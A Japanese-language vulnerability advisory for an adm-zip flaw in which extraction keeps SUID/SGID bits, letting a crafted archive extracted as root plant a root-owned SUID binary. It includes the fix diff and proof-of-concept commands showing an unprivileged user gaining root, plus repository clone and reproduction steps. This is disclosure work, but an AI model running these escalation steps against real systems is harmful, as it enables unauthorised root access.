
CVE-2026-102282: アーカイブ展開時のSUID/SGID保持によるローカル権限昇格
adm-zip は Node.js 向けの定評ある純 JavaScript 製 ZIP アーカイブライブラリであり、npm エコシステム全体で週間 2,000 万回以上ダウンロードされています。CI/CD パイプライン、コンテナビルドワークフロー、クラウドデプロイツール、サーバーサイドアプリケーションなどに広く統合され、アーカイブの圧縮および展開を処理しています。
展開時、adm-zip はアーカイブに記録された POSIX パーミッションを復元するための keepOriginalPermission 設定オプションをサポートしています。しかし、このライブラリは特権を付与する特殊な Unix ファイルモードビット、すなわち SUID (S_ISUID, 0o4000)、SGID (S_ISGID, 0o2000)、およびスティッキービット (S_ISVTX, 0o1000) をフィルタリングできていませんでした。
アプリケーションが keepOriginalPermission = true を指定して信頼できない ZIP アーカイブを展開し、かつ昇格された権限 (root 権限の CI ランナー、Docker コンテナのエントリポイント、バックエンドタスクデーモンなど) で実行されている場合、adm-zip は攻撃者が指定した SUID/SGID ビットを fs.chmodSync() を介してディスクに適用します。これにより、ホストファイルシステム上に root 所有の SUID 実行ファイルが作成され、非特権のローカルユーザーがそのバイナリを実行して即座に root 権限を取得できるようになります。
adm-zip >= 0.5.10, <= 0.6.0adm-zip >= 0.6.1PKWARE ZIP フォーマット仕様では、Unix ファイルパーミッションはセントラルディレクトリヘッダーの 32 ビット external file attributes フィールド (バイト 38-41) に格納されます。Unix 互換アーカイブでは、上位 16 ビットがファイルタイプと 12 ビットの POSIX パーミッションモード (0o7777) をエンコードします。
バージョン <= 0.6.0 では、headers/entryHeader.js が 12 ビットのビットマスク (0xfff) を使用していました:
// headers/entryHeader.js
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
ビットマスク 0xfff (バイナリ 1111 1111 1111) は下位 12 ビット全体を抽出するため、標準の読み取り/書き込み/実行パーミッション (0o777) だけでなく、特殊パーミッションビットである 0o4000 (SUID)、0o2000 (SGID)、0o1000 (スティッキー) も保持してしまいます。
バージョン 0.6.1 では、マスクが 0o777 (10 進数で 511) に制限され、すべての特殊特権ビットが除去されました:
get fileAttr() {
- return (_attr || 0) >> 16 & 0xfff;
+ return (_attr || 0) >> 16 & 0o777;
}
この問題は、展開時に keepOriginalPermission が有効になっている場合に発生します:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeToFile(entryName, content, overwrite, fileAttr);
util/utils.js では、抽出された属性が検証なしで直接ファイルシステムに渡されていました:
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
展開プロセスが nosuid を付けずにマウントされたファイルシステム上で root (euid 0) として実行されている場合、fs.chmodSync() は抽出されたファイルのパーミッションを root:root 所有のモード 0o4755 (-rwsr-xr-x) に設定します。
[email protected])アーカイブの作成と特権展開:
$ g++ -O2 Verify.cpp -o Verify
$ node BuildZip.js Verify exploit.zip tools/helper
Generated: exploit.zip -> tools/helper (mode 0o104755)
$ sudo node Extract.js exploit.zip /var/local/poc_out
Extracted exploit.zip into /var/local/poc_out
$ stat -c "%a %A %U:%G" /var/local/poc_out/tools/helper
4755 -rwsr-xr-x root:root
非特権のローカルユーザー (uid=1000) による実行:
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ /var/local/poc_out/tools/helper
[*] Real UID: 1000, Effective UID: 0
[+] SUID preserved. Escalating to root.
# id
uid=0(root) gid=0(root) groups=0(root)
[email protected])$ sudo node Extract.js exploit.zip /var/local/poc_out_patched
Extracted exploit.zip into /var/local/poc_out_patched
$ stat -c "%a %A %U:%G" /var/local/poc_out_patched/tools/helper
755 -rwxr-xr-x root:root
$ /var/local/poc_out_patched/tools/helper
[*] Real UID: 1000, Effective UID: 1000
[-] Normal execution context (unprivileged).
信頼できない ZIP ファイルが昇格された権限で処理される場合 — 自動ビルドエージェント、共有ホスティング環境、サーバーレスコンテナの初期化ルーチン、プラグインインストールフレームワークなど — 非特権ユーザーが細工されたアーカイブを提供することで、任意の root 所有 SUID バイナリを設置でき、ローカル権限昇格 (LPE) および root としての任意コード実行につながります。
git clone https://github.com/x86byte/adm-zip_LPE-PoC.git
cd adm-zip_LPE-PoC/adm-zip_lpe
g++ -O2 Verify.cpp -o Verify
node BuildZip.js Verify exploit.zip tools/helper
adm-zip バージョンを使用して root として展開します:npm install [email protected]
sudo node Extract.js exploit.zip /var/tmp/poc_out
stat -c "%a %A %U:%G" /var/tmp/poc_out/tools/helper
# Output: 4755 -rwsr-xr-x root:root
/var/tmp/poc_out/tools/helper
注: 対象の展開ディレクトリは、nosuid を付けずにマウントされたファイルシステム上に存在する必要があります。
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Base Score 7.1)0.6.1